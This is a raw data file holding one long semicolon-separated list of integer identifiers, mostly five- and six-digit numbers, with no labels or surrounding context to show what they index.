1;61645;80908;42832;71459;12248;72090;59317;100175;78386;24271;93226;46172;92410;86209;69098;11907;76166;42410;10012;64380;62637;88639;69275;90427;63230;51903;23784;11446;10026;65941;57619;10433;56123;79249;79421;81179;23999;84918;58659;76869;66926;21597;92023;70626;62519;47800;48984;26968;15707;81545;22003;36127;92495;14338;24279;85884;12297;11092;66970;22257;42054;16320;103864;45110;38866;64838;10664;104638;45513;20088;72140;79666;10346;33869;19587;16476;100551;35914;34680;65931;84242;10358;64990;35628;95882;48958;23733;31408;12027;87917;57950;70212;29724;31728;59078;62583;62747;58348;58570;44943;83139;20382;91991;11020;21339;31191;31119;78479;81522;62076;40820;82665;62372;25683;20394;72169;80965;100178;70765;61531;81736;61536;67231;40771;97990;83440;48957;31641;11821;77686;11418;84737;31856;91007;33875;11226;73732;17607;65915;53573;84234;39537;97834;11223;76938;70746;20300;14639;22305;1337090;19715;102862;11111;92627;84153;88489;20012;17637;70730;90149;66361;20904;102585;34820;100155;56928;25671;89106;80496;26071;11416;97945;95767;26922;20285;58593;80334;11593;70496;77329;14192;92626;44871;16363;49959;19944;80524;62438;88808;58965;10501;11255;69838;84501;94398;18183;21643;102274;83032;15564;19269;71520;93110;32311;99593;41000;72559;10298;68927;100160;200021;11173;74235;60093;18430;26185;81884;77326;84568;76764;87240;12034;70846;60021;11866;88102;101843;38695;47125;10139;99476;10165;72334;57042;94388;11920;100188;33225;47711;25295;10470;89673;82852;70623;76872;19393;55786;54986;29832;48292;43089;19521;21323;40806;18263;20210;72037;25837;87878;93476;23756;102364;66037;11330;96146;72671;87819;90351;13845;35351;40351;11196;51186;89105;64790;96630;76110;76774;40450;70884;62008;11528;93815;103533;87125;73830;49217;42255;81782;46224;93401;36184;66864;18024;14377;20811;30110;78776;38879;59373;18299;10359;82472;51174;57974;93529;33275;90431;42291;23750;100994;10528;50512;45516;103963;24740;102200;49035;39535;71461;53373;73518;102037;100172;91962;18184;71462;71434;18292;77166;71053;100619;87893;73480;95480;44644;36045;96270;56392;82854;69424;11401;70564;19400;97736;73758;22185;21186;17836;86191;79440;76992;18038;100156;1337229;50650;10263;104433;87325;63066;40549;77964;24780;100847;104352;74241;89780;11318;86674;96627;12216;94369;48316;22056;32315;10969;59370;49089;92701;11448;40927;36148;53450;69081;20957;23811;100300;39587;11141;11899;59358;97667;69020;25489;11732;86544;11531;11462;94635;18602;10586;18174;10153;46817;18640;89681;72606;46738;10579;64824;63301;35082;68958;49793;14371;100131;77745;42824;27857;25759;58747;57710;86603;64097;11497;72388;1337232;69482;86574;102361;18165;46225;16387;90774;48945;90438;94759;101025;86951;35619;72512;15457;20959;11852;15787;18402;34311;15935;26913;74220;58401;102358;33129;97386;59449;18586;86600;11463;62465;69263;1337022;21783;69325;17998;62308;10309;12293;40875;24236;17813;77377;87674;39347;84019;21241;93400;64715;10507;55803;11292;15975;83055;74439;56043;47106;11077;45121;91596;26914;93007;11259;70170;84288;11117;15987;16060;72344;81516;20004;93377;46017;42371;65882;16063;10361;20887;49211;103873;78691;58514;62046;11094;12255;76940;61449;10985;41608;69827;88528;91337;21213;17741;59209;44941;92360;94046;59504;26059;81186;56049;20148;14699;81316;11819;88934;46766;24245;100126;80555;78773;81169;14597;99687;15514;25218;44421;76791;39364;44316;92660;83742;43164;71572;77421;89114;93592;57919;91388;35281;21698;18000;15984;50087;15617;87371;33107;85386;22901;59041;80917;43006;31854;103133;10440;56452;25368;11080;49072;74025;58652;94197;73378;10703;95769;86661;92016;19308;48214;50530;89693;92465;86125;10747;20226;86317;10915;71843;11138;50069;72962;91916;46181;20893;43401;104177;18007;11192;50976;62689;11451;88596;42256;31682;57559;42895;14230;72025;18247;45552;66240;79083;84569;10971;10844;19601;69335;21016;50349;81650;69402;71096;65055;18016;89940;40548;78506;90889;11156;31342;11645;88933;19302;53297;78390;16232;18482;72618;76512;10387;52054;87598;91546;62737;11765;63201;16192;35588;21572;66527;30153;50574;18601;93383;11895;62119;39519;16094;45020;97996;18690;46332;81821;12091;46882;17796;56753;71219;79125;42340;73225;10308;96766;16161;10069;24263;22318;11595;51173;91130;76534;69176;73981;66784;11385;86316;53847;76588;22533;99288;79217;93075;67004;45392;76475;56979;10562;78078;25569;29993;42370;10321;58848;10121;103115;27536;69789;18047;62976;64837;71049;11815;62099;18117;64815;84549;22029;101979;56407;33548;89939;17272;93608;64260;93562;73208;20909;70585;102915;104896;31858;17290;49032;24277;56823;11748;15750;58899;1337028;73190;69306;19524;20906;88991;71787;56023;40772;50542;50859;10492;20090;19419;81671;32312;91515;55831;87848;57915;64502;44413;18565;34325;62468;10659;66963;45431;34195;95720;51840;70950;10871;47748;85844;70471;11170;104973;55552;26911;17225;80567;72183;14197;58106;62891;94576;21222;12016;55443;80359;70806;82569;10324;14350;17824;17218;100996;88653;92791;63562;10661;35649;80960;42337;81604;73332;84365;83744;11641;42980;60033;48976;86633;18295;49069;10031;86193;47158;58811;62942;21675;70949;80079;35730;71157;69316;88965;100193;18659;20303;45502;17999;56244;66764;56824;59958;11750;70067;29725;95920;14825;49220;77171;56995;63426;36132;12127;82822;11766;95924;104050;49957;105007;10162;84795;11422;70447;20301;64437;79839;14613;95766;25036;70135;54953;11509;21729;77746;86251;22298;21778;15760;70888;49961;80306;55448;63166;69864;42896;95027;72837;90591;40871;61598;64994;20001;10674;61488;24246;101895;19774;10329;20061;58205;89676;10443;99513;89037;72713;92427;83362;21141;41014;18357;29982;93197;11366;22233;12263;73964;40825;90712;87870;101372;102265;50303;11112;10986;10469;40662;25689;81377;94437;21626;100550;72369;15717;74120;78768;32433;70915;94252;20958;43068;10639;11791;40619;84049;26927;42843;19300;10078;92361;72929;11670;99986;35076;64294;103253;40407;88645;76964;44069;10295;14196;94106;72371;25490;78439;77860;77665;31660;80479;66482;17974;34432;58907;50413;11757;49948;11751;39588;15401;11717;21782;10340;81488;59684;89116;103504;73137;103512;56051;10422;62704;65916;11334;101899;67141;15397;24816;11584;89054;69924;104145;82080;104555;38717;12219;11081;31349;76772;200011;104632;55905;64245;41062;66268;69948;67127;81437;11500;103305;20372;53859;16332;10367;16000;11203;85662;14243;82498;20317;31050;57890;17256;51926;73292;73206;39449;89675;45111;10417;24265;73611;81553;10618;94053;73894;66995;80457;39006;45593;11118;11857;95392;92820;87326;96663;20813;86699;50086;49052;85241;48285;18181;61571;18243;32397;62182;59556;65983;15392;99520;77571;59038;88041;85848;101903;71229;58426;11062;10829;35363;76597;46255;69378;44423;77222;104361;51190;100170;38155;94391;32318;35702;11602;10962;56210;24782;103749;10828;69059;73524;17231;34205;10193;73528;49307;11381;66404;56050;34269;84194;11102;42424;71378;51902;81815;25149;51057;50614;35088;51893;12224;73349;10545;88413;73475;62690;10278;77538;22255;74008;69132;79583;78624;49808;88681;64842;10902;44339;11671;33437;46814;34741;80961;27608;72581;18354;93737;70889;102176;28361;76456;76775;82998;47114;21608;49088;200042;83299;47621;55764;22115;11976;61561;11165;11752;20806;70368;34743;10590;34217;58604;77528;38154;31039;83305;21746;44417;76454;91602;62977;49020;80495;20928;70333;10997;80203;81421;88411;20247;42348;20736;11534;22903;69282;11281;73762;14640;74225;65702;73620;93940;51575;17154;11372;78744;91005;64534;25951;24813;21693;19383;58456;62800;22273;22272;89027;64559;22049;10913;85600;93002;25459;21209;76592;82702;83350;78774;81552;25952;11383;90352;19939;10438;76530;61597;23815;86601;80855;85909;10015;10066;84921;78737;51910;35913;92035;35185;62682;88145;11811;21917;82081;81550;93026;85299;16125;93531;91812;91760;65896;12205;91342;45358;69274;70530;62626;66427;30055;58794;25757;36117;46789;47802;84796;62948;104051;90022;80887;87249;31094;14300;104047;17752;11708;39339;64713;82706;26962;20016;86150;22478;11343;62783;49308;10725;64483;15555;14655;84621;53512;19780;61733;11169;94761;51921;82575;94165;10865;51118;66866;70879;87220;59908;63421;104046;69922;12110;38197;34501;22315;69840;49952;43827;40405;85602;85326;18460;18611;11853;17697;99308;17316;15763;66637;35751;63303;54628;95880;67099;69035;17704;78389;73338;22117;15627;86823;100783;72432;47888;23810;29747;58343;25821;33562;65059;27040;91192;10122;44875;11647;84797;25663;64645;17228;11158;11398;103565;73330;67211;71494;12038;70886;71522;62370;16336;83954;76129;35687;26067;99661;84223;91223;58512;12090;56245;67207;58183;88045;24786;17223;24331;19473;84879;20808;52002;53385;63477;83278;11825;19593;77706;55627;66414;65601;84763;15620;103857;43815;86571;101818;44382;22186;65733;57352;15399;19427;19678;80331;76404;10539;100051;81811;17157;58601;21576;23869;39437;72373;78919;62413;71993;90408;70139;73203;99514;19756;11242;16299;11436;91822;87124;70720;76259;77164;65947;10669;19429;10899;59685;63112;12051;77302;83814;74367;84917;65196;74243;102711;25996;11317;63380;65984;13844;53360;69181;84580;43173;11275;15926;10412;72213;10118;84669;50426;72264;91335;12087;11089;42338;69379;10612;20337;55470;70197;105001;71954;94108;22527;11742;31419;76410;73491;49001;77534;16111;65198;16046;69472;76591;66520;11149;200036;85275;55436;78748;65550;97665;10353;20322;100167;87943;81422;99590;77985;73439;19495;65576;88937;10965;57346;55460;11439;78077;83185;73598;10991;103568;23836;99729;97526;74148;76570;50451;10044;31608;22124;19416;25491;61609;51160;91502;70616;79723;78012;83817;57577;48973;11428;10531;63226;62412;70457;11660;51164;18365;67120;44341;42898;81267;100959;66761;66392;61516;24022;50000;99470;12096;87309;33135;76055;45381;103052;91131;81743;24785;81745;34084;97859;13638;23806;39481;59847;80490;91897;31860;21092;71263;14829;76581;68935;90764;104387;11508;18535;63548;10456;83732;88527;47680;47899;56007;64570;88384;70592;76309;71974;76866;18294;48961;72903;50385;11120;31133;50348;28329;104388;81551;83487;73992;15938;39501;91600;100351;21687;42438;11550;72181;76407;49696;70482;11855;20132;84399;10288;104101;99662;24281;14226;10584;95476;11429;54584;73806;16479;44075;11027;35308;47832;58431;88714;101817;70855;83369;51090;11685;69931;36129;56472;54969;11043;20379;17721;83304;103975;49978;30051;21645;83360;88530;64588;83955;69933;10919;10189;89118;66319;62811;94610;29895;48995;20749;51904;67212;21308;19392;97578;12260;93911;35437;72580;42292;91855;11375;40554;64457;52656;14256;72040;72620;40986;10487;77730;55926;26967;89784;70291;17203;50023;64846;69183;24276;10906;49999;90008;10274;80302;46885;73533;25929;71311;52584;58796;57711;104176;71095;21052;55690;11896;72909;12261;50084;88100;89783;25351;11049;27056;81594;30214;26919;91311;56319;70973;101847;59387;100574;12093;71846;104551;90604;28227;78545;10194;102019;14700;30130;95257;91899;85849;77409;90317;10477;11033;81601;92373;67232;72930;35657;52658;102821;82781;15479;51813;11022;11909;24737;17744;104661;16228;84089;41061;17308;46703;51168;20390;42842;17298;29801;53377;42262;56060;20292;87500;105023;17784;91895;16317;33745;103976;18532;62939;78511;88383;42254;44111;50048;64918;52532;22409;40853;87053;20968;69927;11325;10174;66526;20971;23804;18563;64829;55142;26023;54955;19238;78549;72042;94373;82270;10029;71635;11195;21673;34196;11130;55975;59756;92539;104043;11050;57709;55927;95474;97993;20892;58897;66860;12212;10151;10926;100000;79639;65881;61717;61622;11860;14831;80482;74189;10268;55549;16163;35060;16206;53382;76683;79273;38951;78890;10051;200030;99136;17337;72284;11307;84730;43028;94395;95630;33283;90786;42894;73382;58388;95722;19770;65046;200046;83738;94016;48243;11707;26012;70214;101812;10680;73303;100173;82770;72692;80858;46351;53375;97066;66895;69105;72582;103138;12011;70943;97733;64632;64574;90309;10052;10866;43828;64452;81298;46173;35219;12229;86873;56470;99029;71994;21240;59193;32325;18539;87054;43101;65736;77904;10090;12267;30109;17791;84766;44080;61646;48988;10008;79387;20224;69034;84574;12204;11294;10204;59097;15395;10203;28374;58003;44314;20336;10206;29929;104740;44320;34766;91604;72178;12251;44689;29250;10460;64621;77026;55902;58528;90602;18221;65612;50679;80918;76190;101165;16310;10183;65223;52000;49029;35750;14599;71437;11829;84923;64820;43163;11728;11612;66896;65049;70612;10155;24335;58133;31865;26199;10283;55795;71231;11677;10187;39365;60049;62009;90314;10275;33130;103506;51839;11251;93406;63337;81738;10497;59196;51987;60028;71054;15854;64582;96722;22196;60046;81735;85243;24356;88964;22417;19417;103695;31654;27598;14232;25769;42113;71429;76355;16229;91486;86470;25572;18641;103984;66865;91001;72742;14646;12254;79439;92434;69400;25763;1337005;16322;24336;34473;73133;67243;80963;50654;16477;86598;10619;73437;92415;11040;47781;94377;34406;42819;99289;97663;81787;88417;85962;12106;73574;11711;59116;77533;12236;31409;67210;81495;10215;91766;70732;15718;44876;19999;17771;12294;19596;16179;62687;65821;42110;69556;46349;56336;20286;42796;25687;87052;94514;45087;22189;87412;23636;17719;14713;19235;50977;65856;58349;38700;65927;91336;89755;63427;88579;100386;97020;29249;31046;11161;29994;14343;80832;74511;103534;10191;21674;42088;73914;71023;57317;92366;90442;103732;50978;60026;44937;71140;22480;17742;76312;62517;58009;84018;10923;86946;12039;56958;67125;34361;55639;86904;11780;12218;47801;69855;70079;100871;44383;82041;77478;19508;15708;51526;11209;45421;102269;42120;17768;47152;90831;34491;80202;104972;58661;92416;42978;28332;27582;57030;78011;101362;91000;105042;14722;11927;45478;40350;27855;55653;61714;59786;18813;90997;59208;34768;35467;40886;38688;69423;10445;81300;11875;58333;89685;58342;10762;10362;29309;72259;90357;17989;94136;10312;11839;65211;80199;31857;104052;43158;66722;54831;55025;24699;34850;25487;79126;73988;100168;34236;14220;12117;42833;11357;55169;90828;24242;10668;99028;15451;51171;72182;11177;10077;65970;85325;63453;11832;22408;96485;11379;56282;10302;15436;84221;21727;59241;76589;11162;27627;72504;60098;17839;64634;104996;65808;14181;59683;49175;81603;10389;10437;36216;58802;78074;14709;38808;58900;19752;20069;31683;32475;70531;53472;25294;21158;23978;80946;33817;104548;96393;19335;63372;49118;79860;25347;58654;76409;91014;70942;61434;77247;101268;63429;59846;74291;94671;33392;74495;10299;25702;22334;52458;73636;48432;83783;21162;24684;71046;50450;85331;87539;200049;19227;46182;79132;91609;82828;66696;11107;66813;10101;19518;70763;14584;19519;83141;71426;50547;104214;62028;26057;87925;11471;19516;104853;15396;79804;62681;17804;79690;39356;17748;62820;103053;17259;65212;94012;11417;25290;81268;76495;83297;49225;50692;58272;39563;84235;94640;66897;18301;91226;21556;66930;101302;62998;62759;63424;57461;16272;17794;73189;24329;103510;11546;99630;22254;93480;62355;50651;25039;17629;58327;103969;42478;89117;47136;14285;20385;81514;90025;55887;81702;45510;25700;16143;17706;65888;86322;56334;31788;14785;56751;92422;53811;47863;71841;90196;64487;18034;11007;55140;11348;58809;79215;39466;76252;11311;34216;16085;23724;50986;33815;17976;88578;29996;89113;20110;78920;95765;47681;84747;56306;78108;77531;82473;69444;102526;70097;92949;93408;12256;76308;104658;10993;72880;1337228;56737;74187;100573;25249;73080;73155;95716;10724;85402;35555;78482;33219;78431;11482;23782;14225;42107;100766;86445;101113;53829;104498;48950;96608;32400;73734;54970;57283;73343;59356;97891;51356;22867;56981;61492;53593;92439;53575;100025;25692;19557;96729;25025;61491;69926;89757;67123;21631;66351;22047;90763;68915;72286;33272;82855;46783;59714;50526;11109;59109;58591;23930;85346;18553;76458;47716;42308;93468;92018;95881;17672;13841;55471;11898;66941;92365;65950;12112;10049;17611;11822;14637;17297;14272;100957;53625;64287;11892;64843;18371;59655;44081;18628;15950;11970;58292;90407;11541;19499;101953;83525;48201;78915;25242;60065;95887;14664;42307;64298;101811;65889;90538;34695;97988;44059;50604;62313;73619;40984;81402;103924;10698;36161;56163;55903;74247;49149;73516;14284;42109;57600;69930;70850;38792;25023;63423;76411;47606;61494;11082;78627;17985;10257;14654;23997;19551;99731;94374;73989;12238;23972;83354;86818;79336;87766;103839;35451;63381;42108;25493;56241;69912;17831;64571;51342;78437;86323;99309;76215;200040;71858;103838;78429;90026;63618;74467;12059;26000;10838;25627;69038;23833;73682;77248;21185;87415;100768;21117;10050;71045;15450;45083;69420;11152;39331;18178;81595;50449;17212;92542;74249;22116;49646;15914;70883;16318;49014;90315;76621;65899;11932;11010;39447;11587;12000;58363;42475;63692;10423;59195;64921;21159;63063;47745;104639;99631;90566;42347;101820;77284;77001;21606;16123;26016;10856;66177;64825;56683;76937;38829;104570;77573;55993;17996;14274;69080;20973;36154;93527;53210;96002;82800;11594;69134;82773;45004;20384;94376;12240;11490;10192;200050;55133;76116;49028;1337002;18358;90940;14376;94365;11576;94575;14254;63560;19717;25216;36051;64244;59227;25524;22369;11287;18155;47022;70497;49699;76277;29834;34349;103420;16456;11622;11220;16316;69128;84046;87942;65985;62735;70302;76762;20865;87221;91917;11313;89925;39589;100161;31651;40988;104741;82583;33167;94290;96448;73831;85986;10254;11788;64723;70260;49086;89036;20321;40666;49237;56739;69137;58594;90246;100054;11351;59892;65857;12067;33522;68995;12268;17785;11369;55816;59461;33477;16339;91810;16124;90773;80221;58415;97997;89963;10697;1337009;40362;65890;57471;63551;102095;14278;62966;14360;88647;57943;51905;21785;21611;94633;72389;93001;42899;87171;56649;22046;24899;69269;30211;83815;100221;91821;49955;18658;32479;35041;73568;23644;35724;10376;100150;33393;35372;93222;10892;76944;18219;65701;57944;102842;44406;59528;59917;15972;12036;23829;12101;33872;10405;17749;15900;50562;99171;38985;14727;100759;10173;90799;65214;16126;79744;91765;72723;10746;63639;59501;44940;47605;102698;40419;50022;25220;90545;17795;20173;65875;80458;10256;12008;11378;40985;91764;22123;70587;72600;71377;72282;86945;100789;74253;22541;76529;99981;11865;11479;10110;97994;59642;70660;66499;73917;56176;69130;55402;33442;76596;62663;84571;93221;79584;11679;11328;78477;84919;82580;56053;12043;45039;44939;20977;11894;25336;57700;77503;104126;39467;88696;17219;76966;58655;17696;55811;48433;54989;32434;64913;11696;84368;25484;34412;85385;20298;74024;63352;72177;84290;57279;11761;72879;14656;11271;95469;50691;74245;28375;104629;39618;57029;16183;44657;25214;70628;25656;92821;47762;99168;90707;99130;79218;56317;17764;50860;54614;15852;11867;16162;15566;58968;66994;57273;50085;35824;11502;62782;97609;105000;22448;24273;11054;77541;14235;92944;26964;34730;11406;53845;33901;77712;24910;33903;93405;66987;39436;62029;52545;74466;34095;48286;85691;27619;71316;101294;34471;55692;19772;58450;11114;95290;12012;11392;17769;73610;23843;70948;42476;10675;14819;22128;45490;20978;86071;11601;79861;99026;86374;49000;10483;66671;43863;103786;10006;33106;62796;36144;74149;73756;95825;34121;73740;105004;93811;33822;59835;81515;31343;90683;34332;35749;95319;22312;64293;10904;25770;12108;61649;17638;63425;102267;21025;11191;79691;59325;51935;29869;34413;16331;18039;14772;10914;103505;11137;10934;44338;92789;101295;35779;10938;99439;63348;45395;91386;11453;84622;87823;20137;10079;69856;74261;80951;14641;27626;34049;47030;84020;72203;51836;64823;52536;64630;10728;67118;44426;89748;53623;76167;93473;45374;93346;48998;10901;56041;79585;93686;11106;19507;92757;85448;32121;94161;14187;85005;30107;86901;73531;45371;18176;73270;44419;45049;40468;20222;88713;11646;90541;11530;99437;78068;17739;17654;96873;22873;10439;91008;10402;24746;39808;78827;50070;74104;50432;78063;74288;34395;45429;20759;15641;91352;10564;66697;59967;88561;69060;86149;10374;83302;84826;97353;58992;58182;100671;83527;78541;71051;63289;72167;88087;94072;80120;102427;85333;86474;55543;93098;68888;99670;77373;23635;59857;10400;65194;33440;23699;92819;73134;84154;76510;95772;45627;80866;84220;33852;56954;72204;61395;84637;69369;77605;100790;69872;52026;83031;1337026;58453;103753;18046;91961;86850;77303;73291;47036;89724;103380;10282;97895;10214;56484;11614;42399;49779;76457;25026;96730;51176;16207;69371;15861;82708;10614;12637;25655;92019;95435;11562;48202;89752;1338001;44060;10522;35067;11219;62812;43069;43877;33505;81407;96908;58428;15466;44921;76124;67174;49693;22412;65604;25084;77728;58334;87263;95538;17821;38200;52713;104360;84090;55284;73920;35951;11306;11284;10310;73025;103675;15713;10565;14843;65126;56240;97943;87732;59408;11199;56467;86444;66555;35261;48337;73621;101301;62184;47028;10207;51573;81554;99664;70881;31792;50384;66390;59057;97145;78584;11616;72416;34407;24901;14724;45411;15862;42086;49050;1337021;43060;81810;53449;31417;70766;23816;48295;33879;51924;67144;35352;57080;31725;51351;69997;54943;83491;97328;57850;83488;92320;69180;55793;81548;86048;12047;81670;200029;35725;60161;81825;55904;103135;34029;73916;103697;17162;51892;79442;10928;28330;86830;59055;64576;1338002;82899;77855;91010;15563;19748;18573;66308;29981;73674;103376;99287;72830;93828;103985;87417;57920;90542;47557;72260;12647;59558;42259;99663;45051;103781;13659;61774;45406;80118;12225;25754;35621;10613;16064;17787;30124;77813;11088;70627;24875;91003;21153;11844;10627;77021;56992;25337;46237;76192;96447;23925;24280;24864;65880;10676;74496;20729;20169;45590;103978;45430;11413;46839;33820;83266;11035;10956;18012;99200;76314;66325;56125;66174;25879;10300;11411;21697;76616;10554;11565;53336;97835;72430;34363;70257;74106;69272;11897;81246;11202;73132;18182;10260;66944;18413;17306;55983;99594;97941;16278;77687;70320;15974;73949;14315;42260;100127;10666;10976;102528;19397;92843;103788;33873;52457;61612;11900;57026;104383;73768;66422;103140;97991;46016;57460;77056;45359;21242;70343;73963;46203;70295;60035;88594;52543;78024;34411;15432;11666;94680;91547;83352;26020;45018;69995;71428;58976;11293;99586;49228;26921;96269;76427;104637;58352;17313;78507;90000;39520;10609;15996;103567;46883;70412;11443;70074;59968;84645;35743;97326;81791;10769;88718;71323;58452;17782;30216;93534;16309;62797;104276;65792;14307;18638;10721;20377;34346;28181;35930;102779;71537;92585;40850;48942;88380;22900;74270;62202;12031;62757;62986;14273;44987;62989;59246;33856;10581;70142;94515;64914;69101;73415;55668;17970;24712;62563;18403;87947;22498;31418;90191;90590;63155;100260;71889;83733;76146;66306;47138;81974;94634;92440;73380;16312;89083;101773;76311;81247;19256;23977;28226;18258;33812;90199;90567;17351;88680;101162;42820;99982;23970;73738;56972;11264;76474;78513;49953;51914;62283;24235;11341;71177;33095;79862;56736;70090;11917;76770;55775;96803;90310;51162;35287;51177;11382;11876;22188;56024;24239;65876;72173;17282;76344;50510;83731;93077;47746;92823;83529;51080;77962;58400;54617;85804;91677;10768;51395;22333;86327;23963;78679;11498;71892;10303;59110;48363;84085;34404;33094;74147;90439;18029;91227;74269;66718;22269;58416;62101;10046;58389;11878;97833;29700;40494;16175;63147;31726;93482;88715;27585;34244;77710;53547;17327;44874;104847;10983;62310;69043;31129;19716;84057;89938;11087;71264;11560;19311;65222;11044;31040;70073;21039;11946;74162;58748;51367;1337013;42893;78828;104897;69182;65656;73623;74146;61708;11704;65925;52483;33268;99364;17205;87262;39342;27596;17827;58745;62686;100158;52668;20826;25422;61430;69993;71976;32130;40849;84959;87735;35559;21049;66273;11554;20096;92825;13857;71174;15710;18559;73098;77285;96611;76792;58620;70566;99985;61448;24872;90153;57713;21676;10379;17647;27524;72331;51120;79131;17700;83267;82028;10708;94008;96391;59400;30122;89104;83469;19550;87769;18133;46739;63059;19585;45043;69983;24001;14308;32442;95877;19759;94160;19334;94397;81976;63691;86950;45568;84402;63304;80566;93225;18679;40821;76536;12082;103467;52755;91488;16062;12060;81593;90705;55629;44079;19514;102921;54613;61573;57599;46868;55976;21332;100176;76973;54615;59906;52053;11721;84762;58592;22028;58648;10709;93005;59608;47588;61681;200005;47743;34060;27576;49040;71992;66719;55544;71464;29871;93379;78857;57690;91993;85538;10304;79720;10064;78069;10729;77004;81261;54582;49223;85223;80399;65670;22535;72393;103254;58429;11933;18051;94406;87421;11374;20825;85220;48204;58089;17350;81819;44401;72394;90509;50625;78914;101303;65765;11688;58565;73520;14248;14644;10757;76873;81147;15982;27856;18255;21302;10407;34162;59656;77811;12020;65255;62904;24014;55817;42346;11207;21733;79235;91894;35321;13843;20185;95762;104557;65820;66969;67214;86764;57914;85580;85513;30212;82530;22530;34347;70463;74266;23935;71861;87727;25681;53390;17614;54841;35474;17258;91816;77780;66556;11425;65675;86311;11985;33882;91230;53383;63399;84729;43850;93235;11771;77051;20846;51973;45506;44920;65688;11004;19289;96534;38157;35373;46313;35713;71521;31466;34507;91624;24355;15621;97214;48906;24012;45085;105040;19408;50597;31464;92700;18177;69880;10947;99933;97989;10114;66267;51454;92870;62030;82029;71926;100177;93048;21227;24013;26061;11921;19700;83904;70455;74366;58650;65790;62788;58386;104974;47701;94408;42263;61709;72103;68933;64821;10636;69133;42423;29222;85330;12199;48954;103137;63339;61565;66419;90360;85688;45405;10458;103536;87725;47164;87322;10104;55929;76117;85987;46677;62734;91340;67228;81382;11713;20183;69835;52975;78771;30209;51093;76617;77024;17688;44944;21091;11493;84502;17799;57981;11639;100203;18225;17734;58040;20389;14304;20246;21688;84800;87242;64685;76459;100844;31192;70098;15952;81182;11473;87818;80912;25612;69185;69016;65131;93528;71346;91813;10826;104144;58537;34238;92372;10341;76054;57604;10441;60034;10076;73471;93812;76795;25121;42180;77159;11786;78428;34447;62588;42932;81262;14634;90003;63094;90708;91622;17141;10778;18405;97861;32376;77731;93223;78585;96629;29728;77030;19607;91127;17746;55534;21035;62580;72108;11702;10083;93440;101374;81510;22181;76260;57541;23803;79253;59792;54300;74248;34461;51370;103358;84799;11943;62558;103789;64558;23801;45140;72683;56229;43063;95928;97211;57728;97730;25343;26201;30253;99032;36102;35978;47582;10223;70838;70446;51456;89670;64936;71351;65603;93563;34744;71457;71566;40797;10065;66861;102590;78013;10473;57825;12010;11302;72961;35737;33395;10258;17747;89868;22126;91999;63075;70622;11431;88695;22870;18622;25022;21557;70089;96765;88638;103129;93347;86721;11147;70624;33821;97610;74107;20982;53489;58898;49038;90888;55885;17194;11009;94329;10972;19398;15402;11212;77172;91714;55286;71568;104357;40803;62973;25998;76113;55792;24912;99398;44595;11501;34418;73026;39783;48205;56750;40802;72336;93004;11232;45503;74163;42148;66927;104408;64379;46199;20746;38198;70396;70100;15443;69327;47783;100104;11205;12073;81978;88563;72603;91102;96453;97894;11545;76598;65058;32314;13847;20373;85449;42264;79638;25161;56197;55403;72119;102355;16323;91338;59502;25088;61460;59916;10068;58147;34304;64785;11727;52459;59836;57540;57918;62439;42872;58657;25485;71460;78088;101370;103221;12265;31136;46705;16189;72691;69262;40888;73950;25927;14674;51816;17713;85348;61775;10478;72587;50346;72218;77186;73570;59248;70656;94577;24272;35043;96142;88379;82038;23778;97471;26918;76498;91820;73204;27054;53624;88086;90893;72669;11018;100099;83958;57557;49146;21627;46838;46816;91345;89754;45050;45489;11744;81494;96833;60084;84916;11762;76164;19496;103459;48762;62394;20253;92433;90625;34781;88985;11700;65898;45423;55411;15394;10399;82032;55969;69846;76994;20175;10854;64689;40578;91605;16364;62368;20245;51837;33487;99509;55410;34409;16474;34385;89690;34267;97999;73688;58105;18249;10655;49021;34156;59112;42336;31968;10512;38948;50380;10665;24903;46737;45554;96271;23996;84196;69057;93192;33277;22231;64580;100843;66541;72666;51143;52766;84367;10693;63111;100107;21322;80442;81376;86250;59243;55573;91100;69448;103927;63232;78109;15562;38742;26072;66634;70613;19947;80481;56650;11737;11778;81512;10147;20211;71644;71038;65602;64451;73274;11573;57350;31648;64474;71158;33762;35375;24906;72884;59035;71942;59729;65807;20925;97469;61393;36185;50659;56008;11522;48959;58206;11615;89035;64361;19942;83526;65996;72775;87420;17818;11667;64934;33274;100417;29928;101265;94379;18502;74242;73622;72374;32319;11459;95886;48760;23831;10498;31656;65810;77729;73982;31048;90192;17808;45112;92517;104900;11836;40778;78690;25925;78434;54606;25335;35042;66760;53384;18376;82707;32055;51849;27802;61461;10058;11472;64876;28183;90920;11024;11134;44135;17243;83030;80919;69376;100618;94049;70026;56310;86427;11314;92459;69170;88051;38746;78604;51124;56983;69319;29701;36217;78893;77029;12208;70088;22021;23649;78775;40495;71439;104631;14319;48289;11078;99995;64813;17759;68914;48943;52042;100717;54997;73616;70024;10297;11913;52613;56038;10089;15468;27522;84827;38889;81816;85736;38156;10205;79441;11441;76915;56022;14195;10317;73853;76767;15770;81259;71320;19764;16195;34265;66381;85082;92556;24018;11783;86852;73269;92945;18132;70121;100720;11030;67024;71314;62350;17307;72722;17152;31652;20134;11908;44645;84505;71022;66973;91782;40435;63418;87776;71312;18461;11936;11735;74010;101088;101026;62591;45006;22361;200028;11580;64456;93963;17602;64788;51142;103122;55571;100615;103701;12217;17656;51418;11139;70091;53451;1337221;10716;79245;99935;25932;93410;53632;78473;58645;11547;73476;65668;26966;68937;72009;96281;15985;48290;59862;82779;102360;63281;53379;19511;42435;91828;26013;94513;69238;25120;17778;69826;100425;81485;12104;11064;77823;15624;40889;33860;91348;102586;77149;72941;40552;91193;71946;16200;93003;74161;11574;82031;73318;63302;43007;33104;18486;89682;14615;96724;29870;44384;73246;95875;77536;92466;104634;11496;54647;90834;22964;35452;21307;100161;10930;82823;59360;48434;94630;99233;82994;74157;40349;77375;95926;63621;53877;95950;44045;51955;21309;40560;21330;81741;10535;78692;10210;55510;10011;34112;48948;10696;67171;90714;15613;17815;92417;59503;11859;77277;86820;79312;92555;87501;22932;76368;10408;78911;18415;14382;78393;100055;88044;78689;35633;10119;12099;15461;89830;86828;11850;35218;25662;58513;49056;17767;99365;92946;25345;10515;48996;10318;66993;61611;99523;81496;76388;23754;71217;33132;79234;97737;77437;86423;19769;69516;18401;77475;16223;90358;97354;40418;12259;67229;68983;77856;54602;31116;73182;100594;49053;11613;83734;89677;90007;15753;49773;78740;73456;40891;73755;57050;101365;77052;58413;66914;93611;93530;88807;74440;34083;85403;77501;20844;71859;11804;52014;96721;22874;73685;73342;64286;10496;21165;24874;10082;25992;62478;73344;63422;16198;73667;101085;10607;10393;85601;101902;62078;34368;18588;11817;71975;21078;56984;104888;43623;69377;30148;22317;82793;76494;77157;47040;14748;101526;77086;34510;23823;31352;34408;57560;24004;35359;10853;22475;46788;47577;29927;104461;101368;19494;83264;64845;31098;74218;102714;73348;20838;58010;78700;16313;77156;61486;59425;8